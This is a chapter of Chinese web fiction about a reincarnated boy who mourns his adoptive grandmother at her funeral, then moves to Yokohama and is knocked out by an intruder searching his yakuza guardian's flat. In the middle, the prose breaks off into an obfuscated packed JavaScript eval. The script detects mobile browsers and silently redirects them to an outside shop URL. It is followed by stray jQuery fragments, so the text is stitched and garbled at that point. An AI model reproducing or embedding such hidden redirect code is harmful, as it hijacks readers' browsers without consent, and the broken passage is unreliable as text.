——死亡是一场默剧，演员们必须哑然无声。
.
.
我第一次见死尸，没有恐惧，并不哀伤，只是空茫。我是死过的人，这毋庸置疑，死亡的气息那么熟悉又陌生。我突然迷离在死的领域，忘却呼吸，直到心脏跳得越来越快传信至大脑我才骤然惊醒。
鲜花团簇，收敛尊容，换上新衣，粉敷的脸上看不见斑。不仅是尸斑看不见，原本的老年斑也在化妆品的遮掩下失去踪迹。
“小诚，奶奶要火化了，你还有什么话说吗？”米原家真正的孙辈蹲在我面前询问。
我看着他们并不相似的眼睛有点恍惚，那样的眼睛，以后再也见不到了。
“你还有话要说吗？”米原的独子不耐烦发问。
“没有。”我突感背后发凉，扭过头去看，什么也没有，只一堵连缝都没有的墙沉默伫立。
米原小姐叹口气突然给我个拥抱，“说点什么吧，没关系的。”他们总觉得我应该很悲伤，或者已经悲伤过度。我不辩解，辩解是没用的，只会令他们更加笃信。
我和米原太太一起住了快四年，从1991年冬到了1995年的初夏。可我们的关系并不像登记，她没把我当自己的孙子，我也只把她作房东。两个很有距离感的人，井水不犯河水才是常态。
米原康成不再劝，他开始四处探寻，像海盗寻宝。米原小姐倒是有耐心，却蓦然理解什么似的把脖子缩进黑衣里出去房间。
“再和她说说话吧。”我听见有人在对我说，我觉得有些烦躁。坐在尸体旁，不算尊敬，半晌，那道声音依然阴魂不散。
“好吧，好吧，我投降。”我应该倔强地沉默以示抗议，但没必要，我问她：“死后会去哪里？”
我不知道应该说什么，只能问这个只有死人才能回答的问题。她当然不会回答也没办法回答，我真切的好奇心反而莫名勾起。这个问题的答案，即便是死过的我也没办法回答。也许只有这辈子再死一次我才会知道。
我坐在她身边直出神。米原太太的死亡不算意外，去年秋天她突然吐了血，去医院检查后什么也不告诉我。身体一日日消瘦，她开始吃不下饭，睡不着觉，止痛药越吃越多，我就知道迟早会来这一天。
也许是天热了，我感觉脸上糊着一层厚厚的油脂，像一张布盖了满脸。我不知道还能说什么就干脆沉默，没完没了地盯着天花板研究上面的纹路。
“啊！”米原小姐一声惊叫，原来是米原太太收养的孩子躺在尸体旁睡着了。她有些惊恐地摇醒看起来睡得十分安详的少年，他甚至姿势板正地好似放进棺材也恰好。
‘我真不该独留小诚一个在房间里。’我有些懊悔，害怕那懂事的少年会被死亡诱惑。即便我已经是两个孩子的母亲，面对这种收殓停尸的压抑气氛，都感到很不舒服。
我根本不想来，奶奶早在我懂事前就把爸爸赶出了家门，指不定他对于奶奶的下场心里正幸灾乐祸。他早就做好了决心，任由事情一步步发展到今天的地步，并由衷地期盼着这个结局。这是他们母子的战争，唯一无辜者是小诚。
我也许没有睡着，在一声惊叫里就意识清醒。接下来一切流程进行得很快，米原康成近乎冷酷地把生养自己的母亲送进焚化炉。最廉价的一档。他没有落下鳄鱼泪，我也没有。
依稀记得那天晴朗，万里无云，春末初夏的太阳隐约带着毒辣穿透树叶。我等在树影绰绰里，猛然感到寂寞，米原太太也是这种感觉吗？孤独像爬山虎向无边蔓延，荫蔽了心墙，封锁了窗口。
我突然喉间发痒，似乎有很多很多话要脱口而出。我很感谢她的收养，我们住在一起过得很愉快，她的花我没办法继续照顾，她的儿子确实是个混蛋……乱七八糟的哽在喉头，呕吐欲上涌，熬夜后酸涩的眼睛泛起泪花。
死亡，这就是死亡的滋味吗？一锅加了黄连甘草的中药，苦、酸、涩以及甜，令人反胃。
“哭吧，哭出来就好了。”米原小姐温柔地拍抚我后背，像母亲。
“没关系的，哭吧。”她的劝慰充满诱惑，似乎哭一场就能把所有情绪发泄出去然后放下，最终遗忘。不可以，不行的，吞咽下名为悲痛的沙砾，唯有疼痛才能证明我今日活着。
并不粗壮或纤细的手臂温柔地环住我，将我的脸按在肩膀上，像一条水蛇盘桓在我身上。我已束手无策。
来自眨眼产生的生理盐水令米原小姐满意。是的，她成功让悲伤的孩子哭泣，保护了一颗脆弱的心灵。
米原康成拎着骨灰盒出来，冷眼短促笑一声催促着女儿赶紧回家布置灵堂。
.
屋子里满身黑衣吊唁者，门窗紧闭着，接连烧着香熏得人晕乎乎。和尚念着经，要米原太太无牵无挂去往生。来宾们哀哀戚戚地留着泪，经久不见的人们突然想起来米原奶奶的好处，溢美之词一个个从口中蹦出来。
我该哭的，葬仪是死人给予活人的慰藉。可我不想哭，天空乌云密布，空气湿沉，烦闷比感伤更多。
她亲儿子回来了，也没故作哀伤，只是表象严肃地和女儿一起迎接人来人往。其实米原小姐已经出嫁，不该以主人身份接待。只是她母亲早年就和米原康成离了婚，女宾的招待也只好拜托这个外嫁女。
我年纪小，不必在前厅一直观看名为葬礼的表演。
停灵之后，骨灰就该下葬。
接下来，房屋封存出售，我被米原康成带走，作为继承遗产的条件之一。
.
我今年十三，是国中一年级生。葬仪结束，搬家去横滨也才春假结束开学第一个月。我转去了横滨本乡中学校，一所公立初中。
转学过去第一天，阴闷了半个月的天空终于下雨，电视台说是中雨。
.
米原诚本该置身于那对母子纷争之外，他甚至不知道发生过什么。但康成不是个心胸宽广的男人。
他只交学费，不管日常生活支出，他确信老太婆一定私下塞给那小子存款了。米原小姐并不与父亲一道，她嫁给了长谷川生了两个儿子，只是没改姓。所以她并不知晓那对假叔侄之间的冲突。
作为二十一世纪新青年，互联网是米原诚从小接触与把玩的东西。但现在的互联网服务刚刚起步，收费高昂，完全不是无本挖矿之地和消息互传速通道。所以他加入了“回家社”，在空余时间去便利店打工。
至于重操旧业，米原诚现在不打算参与任何人命官司。情报是消息，是新闻，也是致人死地的利刃。米原太太死后，他已经不能把除自己之外的人继续看作NPC了。这个世界上的死亡如此真实炫目，所有真实生活的人都不该因一己之私而死。米原诚管不住其他人，但是，他不希望任何人因他而死。
这是不道德的，哪怕律法不判他以谋杀，甚至无法判决。他想，我作为一个成年人的灵魂，理应自觉规避一切。尤其是在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17593682|205524||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
这个拥有朴素正义观的世界里，他并不想成为某一集的死者。
日子过得不算太差，略有艰难却比流浪时仍好上很多。
直到他发现米原康成失踪了。米原不常回家，经常十天半个月才突然回家一趟，然后开始疯狂挑刺：没有预备热饭菜、卫生打扫有死角、垃圾桶里有垃圾……
米原康成是山口组在横滨的一个底层打手，一般负责收债、当背景板。
见川在米原诚离开山梨县之前与他通信介绍了米原康成这个男人。有点能力但是爱赌，长期赤字账面导致妻子离婚带走女儿。正经的工作受不了他的无赖，最后反而和一位向他母亲自首了的盗窃犯一起到了横滨混进山口组。
他长久不回家多数是白天与同事一起在小钢珠店里混迹，傍晚夜里就站在小头目身后做背景墙，然后到同事家过夜。他很有自知之明，少有参与危险的事。
一周一次假期，米原康成没有回来，半个月，他仍毫无消息，现在已经过去三周了。
危险！
便利店打工回来的米原诚一眼就发现早上出门夹在门缝的纸条掉落。有人来了，不是米原康成，他不可能熄灯安静等待。
一股气血直冲天灵盖，肾上腺素快速分泌，心跳加速大脑思绪万千。米原被卷入了特殊情况，甚至大概率已经死了，他们是来灭口的吗？
他拎着包把钥匙插入锁孔，拧动、推开，内里一片漆黑。摁下玄关处的开关，啪嗒一声亮起，没有人。窄小的客厅橱柜、推拉抽屉、关好的房门全部洞开，好像曾有窃贼来洗劫一空。
头顶一阵发凉，人真的走了吗？寂静无声，清浅的呼吸与风声纠缠。少年试探着迈步向前，门没关，包扔在玄关。
砰，大门被关上了，米原诚不敢回头，他们没有找到东西，但不意味着不会灭口。双手成掌举过头顶，一具火热的心身体靠近，大约头顶到那人胸口。
来人大约身高一米七八，男性，体重未知，落地无声，经受过训练。硬质的钢管抵着后腰，他带了枪。
“抱歉大人，您要找什么，放松点，走火可就不好了。”
男人故意抵哑着声音，后颈骤然一痛，“油嘴滑舌……”之后便什么也听不见了。
一如期待，他不愿涉足黑夜。哪怕做过短时间的情报线人，他也不喜欢、受不了。
.
秋田琴草打晕了回家社少年，他刚来搜寻东西的时候就发现这个屋子里有人常住的痕迹。不是米原康成，他上周就死了。
出乎意料的情况，秋田冷静思考，然后发现飘进玄关的纸条。谨慎，他有了想法。进到房间里，一顿翻找顺便打乱秩序，较小的房间属于国中生，他看见了试卷，成绩不错。是米原康成的儿子吗？米原诚，一样的姓氏，养子？不，是他过世母亲收养的那个孩子吧，他居然带回来养了。
他躲在进门的鞋柜顶，一个小时、两个小时……该死，现在的国中生放学不回家去干什么？已经是社团活动时间结束三个点了，太阳已经落下，一片红蓝交错，暖橙色的阳光透过玻璃斜照进一片狼藉屋内。
秋田略扫过，毫不心虚。他会让下属来解决和赔偿的。
一场耐心的埋伏从下午到夜里。果然是个谨慎的孩子，迅速做出判断尝试没有回头，他决不能让那孩子看见自己的脸。既只是撞见，想来组织也不会再来灭口。
秋田把少年扔在沙发上，留下一屋凌乱，离开了。